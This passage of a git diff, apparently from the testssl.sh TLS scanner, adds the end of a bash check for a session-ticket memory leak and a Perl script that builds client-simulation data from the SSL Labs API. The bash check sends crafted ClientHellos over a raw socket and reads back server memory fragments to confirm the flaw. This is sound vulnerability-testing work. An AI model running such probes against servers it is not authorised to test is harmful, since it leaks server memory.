+ x00, x14, x00, x15, x00, x04, x00, x05,
+ x00, x12, x00, x13, x00, x01, x00, x02,
+ x00, x03, x00, x0f, x00, x10, x00, x11,
+# Extension: SessionTicket TLS
+ x00, x23,
+# length of SessionTicket TLS
+ x00, $xlen_tckt_tls,
+# Session Ticket
+ $session_tckt_tls # here we have the comma already
+# Extension: Heartbeat
+ x00, x0f, x00, x01, x01"
+
+ msg=$(echo "$client_hello" | sed -e 's/# .*$//g' -e 's/ //g' | sed -E 's/^[[:space:]]+//; s/[[:space:]]+$//; /^$/d' | sed 's/,/\\/g' | tr -d '\n')
+ socksend "$msg" $TLSV
+}
+
+
+parse_hn_port() {
+ # strip "https", supposed it was supplied additionally
+ grep -q 'https://' <<< "$NODE" && NODE="$(sed -e 's/https\:\/\///' <<< "$NODE")"
+
+ # strip trailing urlpath
+ NODE=$(sed -e 's/\/.*$//' <<< "$NODE")
+
+ # determine port, supposed it was supplied additionally
+ grep -q ':' <<< "$NODE" && PORT=$(sed 's/^.*\://' <<< "$NODE") && NODE=$(sed 's/\:.*$//' <<< "$NODE")
+}
+
+wait_kill(){
+ pid=$1
+ maxsleep=$2
+ while true; do
+ if ! ps $pid >/dev/null ; then
+ return 0 # didn't reach maxsleep yet
+ fi
+ sleep 1
+ maxsleep=$((maxsleep - 1))
+ test $maxsleep -eq 0 && break
+ done # needs to be killed
+ kill $pid >&2 2>/dev/null
+ wait $pid 2>/dev/null
+ return 3 # killed
+}
+
+
+socksend() {
+ local len
+
+ data="$(echo -n $1)"
+ if "$DEBUG"; then
+ echo "\"$data\""
+ len=$(( $(wc -c <<< "$data") / 4 ))
+ echo -n "length: $len / "
+ dec2hexB $len
+ echo
+ fi
+ echo -en "$data" >&5
+}
+
+
+sockread_nonblocking() {
+ [[ "x$2" == "x" ]] && maxsleep=$MAXSLEEP || maxsleep=$2
+ ret=0
+
+ SOCKREPLY="$(dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"')" &
+ wait_kill $! $maxsleep
+ ret=$?
+ echo -n -e "$SOCKREPLY" # this doesn't work as the SOCKREPLY above belngs to a bckgnd process
+ return $ret
+}
+
+sockread() {
+ dd bs=$1 count=1 <&5 2>/dev/null | hexdump -v -e '16/1 "%02X"'
+}
+
+fixme(){
+ tput bold; tput setaf 5; echo -e "\n$1\n"; tput sgr0
+}
+
+
+fd_socket(){
+ if ! exec 5<> /dev/tcp/$NODE/$PORT; then
+ echo "$(basename $0): unable to connect to $NODE:$PORT"
+ exit 2
+ fi
+}
+
+close_socket(){
+ exec 5<&-
+ exec 5>&-
+ return 0
+}
+
+cleanup() {
+ close_socket
+ echo
+ echo
+ return 0
+}
+
+
+get_sessticket() {
+ local sessticket_str
+ local output
+
+ output="$($OPENSSL s_client -connect $NODE:$PORT </dev/null 2>/dev/null)"
+ if ! grep -qw CONNECTED <<< "$output"; then
+ return 1
+ else
+ sessticket_str="$(awk '/TLS session ticket:/,/^$/' <<< "$output" | awk '!/TLS session ticket/')"
+ sessticket_str="$(sed -e 's/^.* - /x/g' -e 's/ .*$//g' <<< "$sessticket_str" | tr '\n' ',')"
+ sed -e 's/ /,x/g' -e 's/-/,x/g' <<< "$sessticket_str"
+ return 0
+ fi
+}
+
+#### main
+
+parse_hn_port "$1"
+
+early_exit=true
+declare -a memory sid_detected
+nr_sid_detected=0
+
+
+# there are different "timeout". Check whether --preserve-status is supported
+if type -p timeout &>/dev/null ; then
+ if timeout --help 2>/dev/null | grep -q 'preserve-status'; then
+ OPENSSL="timeout --preserve-status $TIMEOUT $OPENSSL"
+ else
+ OPENSSL="timeout $TIMEOUT $OPENSSL"
+ fi
+else
+ echo " binary \"timeout\" not found. Continuing without it"
+ unset TIMEOUT
+fi
+
+
+echo
+"$DEBUG" && ( echo )
+echo "##### 1) Connect to determine 1x session ticket TLS"
+# attn! neither here nor in the following client hello we do SNI. Assuming this is a vulnebilty of the TLS implementation
+SESS_TICKET_TLS="$(get_sessticket)"
+if [[ $? -ne 0 ]]; then
+ echo >&2
+ echo -e "$NODE:$PORT ${magenta}not reachable / no TLS${normal}\n " >&2
+ exit 0
+fi
+[[ "$SESS_TICKET_TLS" == "," ]] && echo -e "${green}OK, not vulnerable${normal}, no session tickets\n" && exit 0
+
+trap "cleanup" QUIT EXIT
+"$DEBUG" && ( echo; echo )
+echo "##### 2) Sending 1 to 3 ClientHello(s) (TLS version 03,$TLSV) with this ticket and a made up SessionID"
+
+# we do 3 client hellos, and see whether different memory is returned
+for i in 1 2 3; do
+ fd_socket $PORT
+
+ "$DEBUG" && echo "$i"
+ send_clienthello "$SESS_TICKET_TLS"
+
+ "$DEBUG" && ( echo; echo )
+ [[ "$i" -eq 1 ]] && echo "##### Reading server replies ($HELLO_READBYTES bytes)" && echo
+ SOCKREPLY=$(sockread $HELLO_READBYTES)
+
+ if "$DEBUG"; then
+ echo "============================="
+ echo "$SOCKREPLY"
+ echo "============================="
+ fi
+
+ if [[ "${SOCKREPLY:0:2}" == "15" ]]; then
+ echo -n "TLS Alert ${SOCKREPLY:10:4} (TLS version: ${SOCKREPLY:2:4}) -- "
+ echo "${green}OK, not vulnerable ${normal} (TLS alert)"
+ break
+ elif [[ -z "${SOCKREPLY:0:2}" ]]; then
+ echo "${green}OK, not vulnerable ${normal} (zero reply)"
+ break
+ elif [[ "${SOCKREPLY:0:2}" == "16" ]]; then
+ # we need to look into this as some servers just respond as if nothing happened
+ early_exit=false
+ "$DEBUG" && echo -n "Handshake (TLS version: ${SOCKREPLY:2:4}), "
+ if [[ "${SOCKREPLY:10:6}" == 020000 ]]; then
+ echo -n " ServerHello $i -- "
+ else
+ echo -n " Message type: ${SOCKREPLY:10:6} -- "
+ fi
+ sid_input=$(sed -e 's/x//g' -e 's/,//g' <<< "$SID")
+ sid_detected[i]="${SOCKREPLY:88:32}"
+ memory[i]="${SOCKREPLY:$((88+ len_sid*2)):$((32 - len_sid*2))}"
+ if "$DEBUG"; then
+ echo
+ echo "TLS version, record layer: ${SOCKREPLY:18:4}"
+ #echo "Random bytes / timestamp: ${SOCKREPLY:22:64}"
+ echo "memory: ${memory[i]}"
+ echo "Session ID: ${sid_detected[i]}"
+ fi
+ if grep -q $sid_input <<< "${sid_detected[i]}"; then
+ #echo -n " (${yellow}Session ID${normal}, ${red}mem returned${normal} --> "
+ echo -n "${sid_detected[i]}" | sed -e "s/$sid_input/${grey}$sid_input${normal}${blue}/g"
+ echo "${normal})"
+ else
+ echo -n "not expected server reply but likely not vulnerable"
+ fi
+ else
+ echo "TLS record ${SOCKREPLY:0:2} replied"
+ echo -n "Strange server reply, pls report"
+ break
+ fi
+done
+echo
+
+if ! "$early_exit"; then
+ # here we test the replies if a TLS server hello was received >1x
+ for i in 1 2 3 ; do
+ if grep -q $sid_input <<< "${sid_detected[i]}"; then
+ # was our faked TLS SID returned?
+ nr_sid_detected=$((nr_sid_detected + 1))
+ fi
+ done
+ if [[ $nr_sid_detected -eq 3 ]]; then
+ if [[ ${memory[1]} != ${memory[2]} ]] && [[ ${memory[2]} != ${memory[3]} ]]; then
+ echo "${red}VULNERABLE!${normal}, real memory returned"
+ else
+ echo "${green}not vulnerable ${normal} (same memory fragments returned)"
+ fi
+ else
+ echo "results ($nr_sid_detected of 3) are kind of fishy. If it persist, let Dirk know"
+ fi
+fi
+
+exit 0
+
+# vim:ts=5:sw=5:expandtab
+
diff --git a/utils/update_client_sim_data.pl b/utils/update_client_sim_data.pl
new file mode 100755
index 0000000..61bf0d1
--- /dev/null
+++ b/utils/update_client_sim_data.pl
@@ -0,0 +1,506 @@
+#!/usr/bin/perl
+
+use strict;
+use Data::Dumper;
+use JSON;
+
+my @spec;
+my %ciphers;
+
+my @spec;
+my %ciphers;
+my $ossl = "bin/openssl." . `uname -s` . "." . `uname -m`;
+$ossl =~ s/\R//g; # remove LFs
+
+die "Unable to open $ossl" unless -f $ossl;
+my $ossl = "$ossl" . " ciphers -V 'ALL:COMPLEMENTOFALL:\@STRENGTH'";
+
+# we get all data from here
+my $json = `curl 'https://api.dev.ssllabs.com/api/v3/getClients'`;
+
+foreach my $line ( split /\n/, `$ossl`) {
+ my @fields = split /\s+/, $line;
+ my $hex = "";
+ foreach my $byte ( split /,/, $fields[1] ) {
+ $byte = lc $byte;
+ $byte =~ s/^0x//;
+ $hex .= $byte;
+ }
+ $hex =~ s/^0+//;
+ $ciphers{hex "0x$hex"} = $fields[3];
+}
+
+my $namelength = 30;
+# Get the data
+my $ssllabs = decode_json($json);
+
+my %sims;
+foreach my $client ( @$ssllabs ) {
+ # Shorts
+ my $has_matched = 1;
+ my $shortname = "$client->{name}_$client->{version}";
+ $shortname =~ s/ /_/g;
+ $shortname =~ s/\.//g;
+ $shortname .= "_$client->{platform}" if exists $client->{platform};
+ $shortname =~ s/[ \.]//g;
+ $shortname = lc($shortname);
+
+ # Deduplicate
+ if ( ! exists $sims{$shortname} || $sims{$shortname}->{id} < $client->{id} ) {
+ my $sim = {};
+ $sims{$shortname} = $sim;
+ $sim->{shortname} = "short+=(\"$shortname\")";
+
+ # Names
+ my $name = "$client->{name} $client->{version}";
+ $name .= " $client->{platform}" if exists $client->{platform};
+ # Get first namelength characters only
+ $name = substr($name . "" x $namelength,0,$namelength);
+ $sim->{name} = "names+=(\"$name\")";
+
+ # Ciphers
+ my @ciphers = ();
+ my @ciphersuites = ();
+ foreach my $suite ( @{$client->{suiteIds}} ) {
+ if ( $suite == "4865" ) {
+ push @ciphersuites, "TLS_AES_128_GCM_SHA256"; }
+ elsif ( $suite == "4866" ) {
+ push @ciphersuites, "TLS_AES_256_GCM_SHA384"; }
+ elsif ( $suite == "4867" ) {
+ push @ciphersuites, "TLS_CHACHA20_POLY1305_SHA256"; }
+ elsif ( $suite == "4868" ) {
+ push @ciphersuites, "TLS_AES_128_CCM_SHA256"; }
+ elsif ( $suite == "4869" ) {
+ push @ciphersuites, "TLS_AES_128_CCM_8_SHA256"; }
+ elsif ( exists $ciphers{$suite} ) {
+ push @ciphers, $ciphers{$suite}; }
+ elsif ( $suite == "255" ) {
+ # no openssl name for this:
+ if ( $has_matched ) {
+ print "Ignored: \"$shortname\" has" ;
+ $has_matched = 0;
+ }
+ print " \"0xFF\""; }
+ elsif ( $suite == "65279" ) {
+ # SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
+ if ( $has_matched ) {
+ print "Ignored: \"$shortname\" has" ;
+ $has_matched = 0;
+ }
+ print " \"0xFEFF\""; }
+ elsif ( $suite == "52392" ) {
+ push @ciphers, "ECDHE-RSA-CHACHA20-POLY1305"; }
+ elsif ( $suite == "52393" ) {
+ push @ciphers, "ECDHE-ECDSA-CHACHA20-POLY1305"; }
+ elsif ( $suite == "52394" ) {
+ push @ciphers, "DHE-RSA-CHACHA20-POLY1305"; }
+ elsif ( $suite == "4865" ) {
+ push @ciphers, "TLS13-AES-128-GCM-SHA256"; }
+ elsif ( $suite == "4866" ) {
+ push @ciphers, "TLS13-AES-256-GCM-SHA384"; }
+ elsif ( $suite == "4867" ) {
+ push @ciphers, "TLS13-CHACHA20-POLY1305-SHA256"; }
+ elsif ( $suite == "4868" ) {
+ push @ciphers, "TLS13-AES-128-CCM-SHA256"; }
+ elsif ( $suite == "4869" ) {
+ push @ciphers, "TLS13-AES-128-CCM-8-SHA256"; }
+ elsif ( $suite == "2570" || $suite == "6682" || $suite == "10794" ||
+ $suite == "14906" || $suite == "19018" || $suite == "23130" ||
+ $suite == "27242" || $suite == "31354" || $suite == "35466" ||
+ $suite == "39578" || $suite == "43690" || $suite == "47802" ||
+ $suite == "51914" || $suite == "56026" || $suite == "60138" ||
+ $suite == "64250" ) {
+ if ( $has_matched ) {
+ print " \"$shortname\": ";
+ $has_matched = 0;
+ }
+ print " skipping GREASE cipher "; printf("%s%04X", "0x", $suite);
+ }
+ else {
+ print " | FIXME: ";
+ if ( $has_matched ) {
+ print " \"$shortname\" has ";
+ $has_matched = 0;
+ }
+ printf("%s%04X", "0x", $suite); printf " ($suite)";
+ }
+ }
+ print "\n" if ! $has_matched ;
+ $sim->{ciphers} = "ch_ciphers+=(\"" . (join ":", @ciphers) . "\")";
+ $sim->{ciphersuites} = "ciphersuites+=(\"" . (join ":", @ciphersuites) . "\")";
+
+ # SNI
+ if ( exists $client->{supportsSni} && $client->{supportsSni} ) {
+ $sim->{sni} = "ch_sni+=(\"\$SNI\")";
+ } else {
+ $sim->{sni} = "ch_sni+=(\"\")";
+ }
+
+ # warning (if needed)
+ $sim->{warning} = "warning+=(\"\")";
+
+ # Handshake
+ if ( exists $client->{hexHandshakeBytes} ) {
+ $sim->{handshakebytes} = "handshakebytes+=(\"$client->{hexHandshakeBytes}\")";
+ } else {
+ $sim->{handshakebytes} = "handshakebytes+=(\"\")";
+ }
+
+ # protos
+ my @proto_flags = ();
+ my @tls_flags = ();
+ if ( $client->{lowestProtocol} == $client->{highestProtocol} ) {
+ if ( $client->{lowestProtocol} == 512 ) {
+ push @proto_flags, "-ssl2"; }
+ elsif ( $client->{lowestProtocol} == 768 ) {
+ push @proto_flags, "-ssl3"; }
+ elsif ( $client->{lowestProtocol} == 769 ) {
+ push @proto_flags, "-tls1"; }
+ elsif ( $client->{lowestProtocol} == 770 ) {
+ push @proto_flags, "-tls1_1"; }
+ elsif ( $client->{lowestProtocol} == 771 ) {
+ push @proto_flags, "-tls1_2"; }
+ elsif ( $client->{lowestProtocol} == 772 ) {
+ push @proto_flags, "-tls1_3"; }
+ } else {
+ # Figure out if we need to support sslv2
+ if ( $client->{lowestProtocol} > 512 ) {
+ # 512 = 0x200 = sslv2
+ push @proto_flags, "-no_ssl2";
+ }
+ # Do we need to support SSL3?
+ if ( $client->{lowestProtocol} > 768 || $client->{highestProtocol} < 768 ) {
+ # 768 = 0x300 = sslv3
+ push @proto_flags, "-no_ssl3";
+ }
+ # Do we need to support TLS 1.0?
+ if ( $client->{lowestProtocol} > 769 || $client->{highestProtocol} < 769 ) {
+ # 769 = 0x301 = tls1.0
+ push @proto_flags, "-no_tls1";
+ } else {
+ push @tls_flags, "-tls1";
+ }
+ # Do we need to support TLS 1.1?
+ if ( $client->{lowestProtocol} > 770 || $client->{highestProtocol} < 770 ) {
+ # 770 = 0x302 = tls1.1
+ push @proto_flags, "-no_tls1_1";
+ } else {
+ push @tls_flags, "-tls1_1";
+ }
+ # Do we need to support TLS 1.2?
+ if ( $client->{lowestProtocol} > 771 || $client->{highestProtocol} < 771 ) {
+ # 771 = 0x303 = tls1.2
+ push @proto_flags, "-no_tls1_2";
+ } else {
+ push @tls_flags, "-tls1_2";
+ }
+ }
+ $sim->{protos} = "protos+=(\"" . (join " ", reverse @proto_flags) . "\")";
+ $sim->{tlsvers} = "tlsvers+=(\"" . (join " ", reverse @tls_flags) . "\")";
+ $sim->{lowestProtocol} = sprintf("lowest_protocol+=(\"0x%04x\")", $client->{lowestProtocol});
+ # https://api.dev.ssllabs.com/api/v3/getClients incorrectly indicates
+ # a highestProtocol of TLS 1.2 for clients that support TLS 1.3, which
+ # can lead to client simulation reporting "no connection" if the connection
+ # is made using TLS 1.3. In order to avoid this problem, assume that any
+ # client with a highestProtocol of TLS 1.2 that supports any TLS 1.3
+ # ciphers really supports TLS 1.3.
+ if ( $client->{highestProtocol} != 771 || scalar(@ciphersuites) == 0 ) {
+ $sim->{highestProtocol} = sprintf("highest_protocol+=(\"0x%04x\")", $client->{highestProtocol});
+ } else {
+ $sim->{highestProtocol} = sprintf("highest_protocol+=(\"0x0304\")", $client->{highestProtocol});
+ }
+
+ if ( lc($client->{name}) eq "java" || lc($client->{name}) eq "openssl" ) {
+ # Java and OpenSSL are generic clients
+ $sim->{service} = "service+=(\"ANY\")";
+ } elsif ( $shortname =~ /^apple_ats/ ) {
+ # Apple ATS is HTTP(s) only
+ $sim->{service} = "service+=(\"HTTP\")";
+ } else {
+ # All others are HTTP(s)/FTP only
+ $sim->{service} = "service+=(\"HTTP,FTP\")";
+ }
+
+ # Bit size limitations
+ $sim->{minDhBits} = "minDhBits+=($client->{minDhBits})";
+ $sim->{maxDhBits} = "maxDhBits+=($client->{maxDhBits})";
+ $sim->{minRsaBits} = "minRsaBits+=($client->{minRsaBits})";
+ $sim->{maxRsaBits} = "maxRsaBits+=($client->{maxRsaBits})";
+ $sim->{minEcdsaBits} = "minEcdsaBits+=($client->{minEcdsaBits})";
+ if ( defined $client->{requiresSha2} && $client->{requiresSha2} ) {
+ $sim->{requiresSha2} = "requiresSha2+=(true)";
+ } else {
+ $sim->{requiresSha2} = "requiresSha2+=(false)";
+ }
+
+ my @curves = ();
+ foreach my $curve ( @{$client->{ellipticCurves}} ) {
+ if ( $curve == 1 ) {
+ push @curves, "sect163k1"; }
+ elsif ( $curve == 2 ) {
+ push @curves, "sect163r1"; }
+ elsif ( $curve == 3 ) {
+ push @curves, "sect163r2"; }
+ elsif ( $curve == 4 ) {
+ push @curves, "sect193r1"; }
+ elsif ( $curve == 5 ) {
+ push @curves, "sect193r2"; }
+ elsif ( $curve == 6 ) {
+ push @curves, "sect233k1"; }
+ elsif ( $curve == 7 ) {
+ push @curves, "sect233r1"; }
+ elsif ( $curve == 8 ) {
+ push @curves, "sect239k1"; }
+ elsif ( $curve == 9 ) {
+ push @curves, "sect283k1"; }
+ elsif ( $curve == 10 ) {
+ push @curves, "sect283r1"; }
+ elsif ( $curve == 11 ) {
+ push @curves, "sect409k1"; }
+ elsif ( $curve == 12 ) {
+ push @curves, "sect409r1"; }
+ elsif ( $curve == 13 ) {
+ push @curves, "sect571k1"; }
+ elsif ( $curve == 14 ) {
+ push @curves, "sect571r1"; }
+ elsif ( $curve == 15 ) {
+ push @curves, "secp160k1"; }
+ elsif ( $curve == 16 ) {
+ push @curves, "secp160r1"; }
+ elsif ( $curve == 17 ) {
+ push @curves, "secp160r2"; }
+ elsif ( $curve == 18 ) {
+ push @curves, "secp192k1"; }
+ elsif ( $curve == 19 ) {
+ push @curves, "prime192v1"; }
+ elsif ( $curve == 20 ) {
+ push @curves, "secp224k1"; }
+ elsif ( $curve == 21 ) {
+ push @curves, "secp224r1"; }
+ elsif ( $curve == 22 ) {
+ push @curves, "secp256k1"; }
+ elsif ( $curve == 23 ) {
+ push @curves, "prime256v1"; }
+ elsif ( $curve == 24 ) {
+ push @curves, "secp384r1"; }
+ elsif ( $curve == 25 ) {
+ push @curves, "secp521r1"; }
+ elsif ( $curve == 26 ) {
+ push @curves, "brainpoolP256r1"; }
+ elsif ( $curve == 27 ) {
+ push @curves, "brainpoolP384r1"; }
+ elsif ( $curve == 28 ) {
+ push @curves, "brainpoolP512r1"; }
+ elsif ( $curve == 29 ) {
+ push @curves, "X25519"; }
+ elsif ( $curve == 30 ) {
+ push @curves, "X448"; }
+ elsif ( $curve == 31 ) {
+ push @curves, "brainpoolP256r1tls13"; }
+ elsif ( $curve == 32 ) {
+ push @curves, "brainpoolP384r1tls13"; }
+ elsif ( $curve == 33 ) {
+ push @curves, "brainpoolP512r1tls13"; }
+ }
+ $sim->{ellipticCurves} = "curves+=(\"" . (join ":", @curves) . "\")";
+ }
+}
+
+#
+# This is where we maintain our own clients
+my $sim = {};
+#$sim->{name} = "names+=(\"Mail iOS 9.3.2 \")";
+#$sim->{shortname} = "short+=(\"mail_ios_932\")";
+#$sim->{ciphers} = "ch_ciphers+=(\"ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:EDH-RSA-DES-CBC3-SHA:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:ECDHE-ECDSA-RC4-SHA:ECDHE-RSA-RC4-SHA:RC4-SHA:RC4-MD5\")";
+#$sim->{ciphersuites} = "ciphersuites+=(\"\")";
+#$sim->{sni} = "ch_sni+=(\"\$SNI\")";
+#$sim->{warning} = "warning+=(\"\")";
+#$sim->{handshakebytes} = "handshakebytes+=(\"16030100bb010000b703015767e6ae46f9abf3138e26a9f9880f9697bf3387f7eff709db1fa220e692d80420fb04b0979bae1664e11ef172d4dfba15af59dd200b7831992a35c73cde9efed9003200ffc024c023c00ac009c008c028c027c014c013c012006b0067003900330016003d003c0035002f000ac007c011000500040100003c000000190017000014696d61702e73656374696f6e7a65726f2e6f7267000a00080006001700180019000b0002010000050005010000000000120000\")";
+#$sim->{protos} = "protos+=(\"#-no_tls1_2 -no_ssl3 -no_ssl2\")";
+#$sim->{tlsvers} = "tlsvers+=(\"#-tls1_1 -tls1\")";
+#$sim->{lowestProtocol} = "lowest_protocol+=(\"0x0300\")";
+#$sim->{highestProtocol} = "highest_protocol+=(\"0x0301\")";
+#$sim->{service} = "service+=(\"SMTP,POP,IMAP\")";
+#$sim->{minDhBits} = "minDhBits+=(-1)";
+#$sim->{maxDhBits} = "maxDhBits+=(-1)";
+#$sim->{minRsaBits} = "minRsaBits+=(-1)";
+#$sim->{maxRsaBits} = "maxRsaBits+=(-1)";
+#$sim->{minEcdsaBits} = "minEcdsaBits+=(-1)";
+#$sim->{ellipticCurves} = "curves+=(\"sect233k1:secp256r1:secp384r1:secp521r1\")";
+#$sim->{requiresSha2} = "requiresSha2+=(false)";
+#
+#$sim->{name} = "names+=(\"Mail OSX 10.11.15 \")";
+#$sim->{shortname} = "short+=(\"mail_osx_101115\")";
+#$sim->{ciphers} = "ch_ciphers+=(\"ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:EDH-RSA-DES-CBC3-SHA:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:ECDHE-ECDSA-RC4-SHA:ECDHE-RSA-RC4-SHA:RC4-SHA:RC4-MD5\")";
+#$sim->{ciphersuites} = "ciphersuites+=(\"\")";
+#$sim->{sni} = "ch_sni+=(\"\$SNI\")";
+#$sim->{warning} = "warning+=(\"\")";
+#$sim->{handshakebytes} = "handshakebytes+=(\"16030100940100009003015770e928499e82df2eb7477200e2a828d9fa4109514385bd1602df44aaf2b0f400003200ffc024c023c00ac009c008c028c027c014c013c012006b0067003900330016003d003c0035002f000ac007c011000500040100003500000012001000000d3137382e3233372e33342e3932000a00080006001700180019000b0002010000050005010000000000120000\")";
+#$sim->{protos} = "protos+=(\"-tls1\")";
+#$sim->{tlsvers} = "tlsvers+=(\"-tls1\")";
+#$sim->{lowestProtocol} = "lowest_protocol+=(\"0x0301\")";
+#$sim->{highestProtocol} = "highest_protocol+=(\"0x0301\")";
+#$sim->{service} = "service+=(\"SMTP,POP,IMAP\")";
+#$sim->{minDhBits} = "minDhBits+=(-1)";
+#$sim->{maxDhBits} = "maxDhBits+=(-1)";
+#$sim->{minRsaBits} = "minRsaBits+=(-1)";
+#$sim->{maxRsaBits} = "maxRsaBits+=(-1)";
+#$sim->{minEcdsaBits} = "minEcdsaBits+=(-1)";
+#$sim->{ellipticCurves} = "curves+=(\"sect233k1:secp256r1:secp384r1:secp521r1\")";
+#$sim->{requiresSha2} = "requiresSha2+=(false)";
+
+# example of self generated / provided handshake:
+$sim->{name} = "names+=(\"Thunderbird 45.1.1 OSX 10.11 \")";
+$sim->{shortname} = "short+=(\"thunderbird_45.1.1_osx_101115\")";
+$sim->{ciphers} = "ch_ciphers+=(\"ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA:AES128-SHA:AES256-SHA:DES-CBC3-SHA\")";
+$sim->{ciphersuites} = "ciphersuites+=(\"\")";
+$sim->{sni} = "ch_sni+=(\"\$SNI\")";
+$sim->{warning} = "warning+=(\"\")";
+$sim->{handshakebytes} = "handshakebytes+=(\"160301009d010000990303c7c5b3ff80b3aa597c770c538b98ae34a94c9590ad8f947ba7bc28692061cb57000016c02bc02fc00ac009c013c01400330039002f0035000a0100005a0000001800160000136d78332e73656374696f6e7a65726f2e6f7267ff01000100000a00080006001700180019000b0002010000230000000500050100000000000d001600140401050106010201040305030603020304020202\")";
+$sim->{protos} = "protos+=(\"-no_ssl3 -no_ssl2\")";
+$sim->{tlsvers} = "tlsvers+=(\"-tls1_2 -tls1_1 -tls1\")";
+$sim->{lowestProtocol} = "lowest_protocol+=(\"0x0301\")";
+$sim->{highestProtocol} = "highest_protocol+=(\"0x0303\")";
+$sim->{service} = "service+=(\"SMTP,POP,IMAP\")";
+$sim->{minDhBits} = "minDhBits+=(-1)";
+$sim->{maxDhBits} = "maxDhBits+=(-1)";
+$sim->{minRsaBits} = "minRsaBits+=(-1)";
+$sim->{maxRsaBits} = "maxRsaBits+=(-1)";
+$sim->{minEcdsaBits} = "minEcdsaBits+=(-1)";
+$sim->{ellipticCurves} = "curves+=(\"sect233k1:secp256r1:secp384r1:secp521r1\")";
+$sim->{requiresSha2} = "requiresSha2+=(false)";
+
+my %count;
+foreach my $shortname ( reverse sort keys %sims ) {
+ if ( $shortname =~ /^baidu/ ) {
+ $count{baidu}++;
+ if ( $count{baidu} <= 1 ) {
+ $sims{$shortname}->{current} = "current+=(true)";
+ } else {
+ $sims{$shortname}->{current} = "current+=(false)";
+ }
+ } elsif ($shortname =~ /^bing/) {
+ $count{bing}++;
+ if ( $count{bing} <= 1 ) {
+ $sims{$shortname}->{current} = "current+=(true)";
+ } else {
+ $sims{$shortname}->{current} = "current+=(false)";
+ }
+ } elsif ($shortname =~ /^chrome/) {
+ $count{chrome}++;
+ if ( $count{chrome} <= 1 ) {
+ $sims{$shortname}->{current} = "current+=(true)";
+ } else {
+ $sims{$shortname}->{current} = "current+=(false)";
+ }
+ } elsif ($shortname =~ /^firefox/) {
+ # Latest version + ESR releases
+ if ( $shortname =~ /ESR/ ) {
+ $sims{$shortname}->{current} = "current+=(true)";
+ } else {
+ $count{firefox}++;
+ if ( $count{firefox} <= 1 ) {
+ $sims{$shortname}->{current} = "current+=(true)";
+ } else {
+ $sims{$shortname}->{current} = "current+=(false)";
+ }
+ }
+ } elsif ($shortname =~ /^googlebot/) {
+ $count{googlebot}++;
+ if ( $count{googlebot} <= 1 ) {
+ $sims{$shortname}->{current} = "current+=(true)";
+ } else {
+ $sims{$shortname}->{current} = "current+=(false)";
+ }
+ } elsif ($shortname =~ /^tor/) {
+ $count{tor}++;
+ if ( $count{tor} <= 1 ) {
+ $sims{$shortname}->{current} = "current+=(true)";
+ } else {
+ $sims{$shortname}->{current} = "current+=(false)";
+ }
+ } elsif ($shortname =~ /^yahoo/) {
+ $count{yahoo}++;
+ if ( $count{yahoo} <= 1 ) {
+ $sims{$shortname}->{current} = "current+=(true)";
+ } else {
+ $sims{$shortname}->{current} = "current+=(false)";
+ }
+ } elsif ($shortname =~ /^yandex/) {
+ $count{yandex}++;
+ if ( $count{yandex} <= 1 ) {
+ $sims{$shortname}->{current} = "current+=(true)";
+ } else {
+ $sims{$shortname}->{current} = "current+=(false)";
+ }
+ } elsif ($shortname =~ /^opera/) {
+ $count{opera}++;
+ if ( $count{opera} <= 1 ) {
+ $sims{$shortname}->{current} = "current+=(true)";
+ } else {
+ $sims{$shortname}->{current} = "current+=(false)";
+ }
+ } elsif ($shortname =~ /^java 7/) {
+ $count{java7}++;
+ if ( $count{java7} <= 1 ) {
+ $sims{$shortname}->{current} = "current+=(true)";
+ } else {
+ $sims{$shortname}->{current} = "current+=(false)";
+ }
+ } elsif ($shortname =~ /^java 8/) {
+ $count{java8}++;
+ if ( $count{java8} <= 1 ) {
+ $sims{$shortname}->{current} = "current+=(true)";
+ } else {
+ $sims{$shortname}->{current} = "current+=(false)";
+ }
+ } elsif ($shortname =~ /^java/) {
+ # Other/older versions of java aren't current
+ $sims{$shortname}->{current} = "current+=(false)";
+ } elsif ($shortname =~ /^openssl/) {
+ $count{openssl}++;
+ if ( $count{openssl} <= 1 ) {
+ $sims{$shortname}->{current} = "current+=(true)";
+ } else {
+ $sims{$shortname}->{current} = "current+=(false)";
+ }
+ } elsif ($shortname =~ /^safari/) {
+ $count{safari}++;
+ if ( $count{safari} <= 2 ) {
+ $sims{$shortname}->{current} = "current+=(true)";
+ } else {
+ $sims{$shortname}->{current} = "current+=(false)";
+ }
+ } else {
+ # All versions are current
+ $sims{$shortname}->{current} = "current+=(true)";
+ }
+}
+
+
+my $header = <<"EOF";
+# This file contains client handshake data used in the run_client_simulation() function.
+# The file distributed with testssl.sh (etc/client-simulation.txt) has been generated
+# from this script and manually edited (=which UA to show up) and sorted.
+#
+# Most clients are taken from Qualys SSL Labs --- From: https://api.dev.ssllabs.com/api/v3/getClients
+
+EOF
+
+open OUT, ">client-simulation_generated.txt" or die "Unable to open client-simulation_generated.txt";
+print OUT "$header";
+
+foreach my $shortname ( sort keys %sims ) {
